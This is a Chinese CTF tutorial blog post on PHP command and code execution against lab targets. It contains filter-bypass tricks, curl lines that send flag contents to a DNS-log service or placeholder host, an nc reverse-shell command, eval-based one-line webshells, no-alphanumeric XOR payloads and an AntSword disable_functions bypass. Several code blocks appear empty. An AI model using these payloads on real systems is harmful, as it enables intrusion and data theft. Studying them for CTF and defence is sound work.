第一节 php的基础知识
0x1 php的基本概念
php是网站的一种脚本语言,文件后缀是php,用来写网站,适合中小型网站的开发。
0x2 php环境的安装
php 的运行环境
phpstudy
php 的开发环境
? 区分文件和参数部分
参数部分 用 & 区分 多个键值对
单个键值对用 = 分开
0x3 php写一个hello world
1 |
|
0x3 php基础语法
$_GET
1 |
|
$_POST
1 |
|
$_REQUEST
1 |
|
当get和post函数被禁用时,可以使用request函数
函数
1 |
|
危险函数
1 |
|
第二节 php的命令执行
0x1 什么是命令执行
RCE
0x2 php的command exec函数
PHP官方有下面六种函数可以执行系统命令
- system
- passthru
- exec
- shell_exec
- popen
- pcntl_exec4
- 执行运算符
- echo ``?>
0x3 php的命令执行利用
php的命令执行,我们默认讨论的是服务器系统为Linux
shell 的分号 ;
可以用来分割两条命令
并列命令&&的url编码(%26%26) 也可以分割两条命令 but &&前的命令成功执行,后面的才会成立
|| 表示或 , 可以分割两条命令
1 | error_reporting(0); //不显示报错 |
绕过
base64编码绕过
如果 flag/cat 等命令被过滤,可以使用正则、其他未被过滤命令、base64编码解码
1 | `echo dGFjIGZsYWcucGhw | base64 -d` |
在linux当中反引号也十分常用,也就是 ` 符号。那么反引号是怎么使用的呢?我的理解是凡是打上反引号的命令,首先将反引号内的命令执行一次,然后再将已经执行过的命令得到的结果再执行一次,就可以得到我们反引号的输出
变量拼接绕过关键字
1 | a=c;b=at;c=fla;d=g.php;$a$b ${c}${d} |
爆破被过滤的符号
符号被过滤可以爆破一下,
可以使用{}和冒号: 截取空格
使用env浏览环境变量,然后截取
例如GPG_KEYS=CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D
cmd=tac${GPG_KEYS:40:1}*
不回显
没办法直接看到回显,可以使用写文件的方式,将结果写到浏览器可以读取的位置,然后访问url+1.txt
写入文件
可以用 >
写入
dns通道
当文件过长无法全部回带时,可以部分回带,使用sed -n命令
可以使用
1 | a=`sed -n "3,4p" fla?.php|base64`;curl ${a:0:10}.dnslog.cn #a中,从0开始截取10个,然后从10再截取,依此类推 |
当dnslog被过滤时,可以使用
1 | curl -X POST --data a=`cat ./flag.php` http:/xxxx.com #POST |
反弹shell
以及ctfshow专用反弹shellhttps://your-shell.com/
时间盲注
盲注猜flag
第三节 php的代码执行
0x1 什么是php的代码执行
eval("要执行的代码");
可以执行参数给的php代码
可以用?>结束php代码。
0x2 代码执行和命令执行的区别
- system 命令执行
- shell_exec 命令执行
- eval 代码执行
0x3 php的代码执行是什么格式
在php语言中,代码分为三种
1.函数调用
函数名 (函数参数1,函数参数2 …);
2.类方法调用
类实例 箭头 类方法 ()
1 | ($_GET[1])($_GET[2]); //免杀一句话木马 |
3.语言结构调用
0x4 php的代码执行后门
一句话木马
1 |
|
get转post转接头
1 |
|
0x5 代码执行的类型
("sys"."tem")=system
1 | <script language="php">eval($_POST[1])</script> |
php5.6版本以前的可用
最短木马:
1 | $_GET[2]`;&2= ` |
反弹 shell
1 | nc ip port -e /bin/sh #传统姿势 |
烧姿势
1.无字母数字命令执行
采用文件上传的方式,匹配到temp目录下的文件,在该文件中写入命令执行代码
这里搬用一下ctfshow师傅写的upload代码
1 | <form method="post" enctype="multipart/form-data" action="http://靶场地址/?cmd=. /???/????????[@-[]"> |
匹配临时文件,写入命令,实现命令执行
这里开一个靶场写一下详细过程
这里我们把upload.html挂到PHP study
然后随便传一个.txt
打开bp,开抓
我们发到repeater
然后把我们1.txt文件中的内容改成要执行的命令,发包!
成功,如果不成功可以多发几次,因为我们匹配的文件名是未知的,能否正确匹配也是概率事件,多发几次就会成功。
2.无字母数字代码执行
这里我们有两个脚本
作者都来自羽师傅
首先是一个php
1 |
|
我们把他挂在PHP study,会在本地生成一个xor_rce.txt
然后是一个python脚本
1 | # -*- coding: utf-8 -*- |
我们跑一下,在function:
和command:
下分别填入我们想要执行的命令
然后就会生成一串异或出来的命令,复制执行即可
这里的("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");
虽然看上去存在一些数字字母,但是都是url编码后的,我们可以解码看一下
是一些不可见字符昂
3.巧用蚁剑插件当脚本小子
在这开始我们要准备一个比较新的中国蚁剑,不要像我一样,打开2016版的蚁剑
打开2019版的蚁剑,至少插件商城能用
装几个插件,这是比较有用的几个,当然根据自己需求在商城里随便装
这里我们不再赘述一句话木马的上传,这时候我们一句话已经连上了,但是无论是读取flag,还是命令执行都没用
然后,来到上传后的提权/绕过操作
加载disable_functions,选择第一个LD_PRELOAD,开始
能看到当前目录下生成了一个.antproxy.php
我们直接连这个文件
这时候我们回到终端whoami
注意这里不要打成who m ai 👴!
然后我们cat试试
没有权限,看来www-data权限还不够,会不会有其他命令,不用root权限,却能代替cat
这里来一些Linux知识
在linux下我们经常用到的四个应用程序的目录是/bin、/sbin、/usr/bin、/usr/sbin 。而四者存放的文件一般如下:
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
/sbin目录:
主要放置一些系统管理的必备程序例如:cfdisk、dhcpcd、dump、e2fsck、fdisk、halt、ifconfig、ifup、 ifdown、init、insmod、lilo、lsmod、mke2fs、modprobe、quotacheck、reboot、rmmod、 runlevel、shutdown等。
/usr/sbin目录:
放置一些网路管理的必备程序例如:dhcpd、httpd、imap、in.*d、inetd、lpd、named、netconfig、nmbd、samba、sendmail、squid、swap、tcpd、tcpdump等
综述:
如果这是用户和管理员必备的二进制文件,就会放在/bin。如果这是系统管理员必备,但是一般用户根本不会用到的二进制文件,就会放在 /sbin。
相对而言。如果不是用户必备的二进制文件,多半会放在/usr/bin;如果不是系统管理员必备的工具,多半会放在/usr/sbin
单纯使用ls命令,显示的内容有限。在实际使用的时候,经常需要搭配一些选项来显示更加丰富的内容,ls常用的附加选项如下表所示:
-a 显示指定路径中的所有文件,包括隐藏文件
-l 显示文件的详细信息,包括文件类型,权限,所属用户,所属用户组,文件大小,上一次修改时间等
-h 文件大小以KBytes为单位显示
-S 按照文件大小顺序显示,默认从大到小;若要从小到大,可使用-Sr
我们 ls -al /usr/bin
发现(这里是fuzz的,其他题也行需要ls -al
其他文件夹,甚至可以ls -al /*/*
)
这里的-rwsr-sr-x
第一个s代表的是suid:
他表示当其他的用户执行此命令时,可以取得和此文件的所有者一样的权限来取得系统资源
第而个s代表的是sgid:
他表示当其他的用户执行此命令时,可以取得和此文件的属组一样的权限来取得系统资源
总之,tac
可用
4.蚁剑操作数据库
有时候我们蚁剑连上服务器之后, 会发现服务器目录里没有我们想要的数据, 但是网站却有数据库连接, 这时候我们就可以尝试用蚁剑操作数据库
然后我们点击添加, 选择好数据库类型, 以及密码就可以连接
连接后, 我们根据提示, 执行SQL语句就可以拿到flag
- Post title: Web_2_PHP命令执行+代码执行
- Create time: 2022-09-07 00:00:00
- Post link: 2022/09/07/web_2/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.